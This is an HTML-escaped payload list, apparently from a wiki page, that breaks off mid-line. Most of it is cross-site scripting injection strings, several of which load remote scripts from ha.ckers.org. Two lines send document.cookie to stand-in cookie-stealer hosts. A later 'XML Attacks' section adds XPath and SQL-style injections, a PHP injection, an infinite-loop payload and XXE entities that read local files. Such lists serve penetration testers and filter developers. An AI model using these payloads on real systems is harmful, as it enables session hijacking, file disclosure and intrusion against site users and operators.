&quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt;<br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM 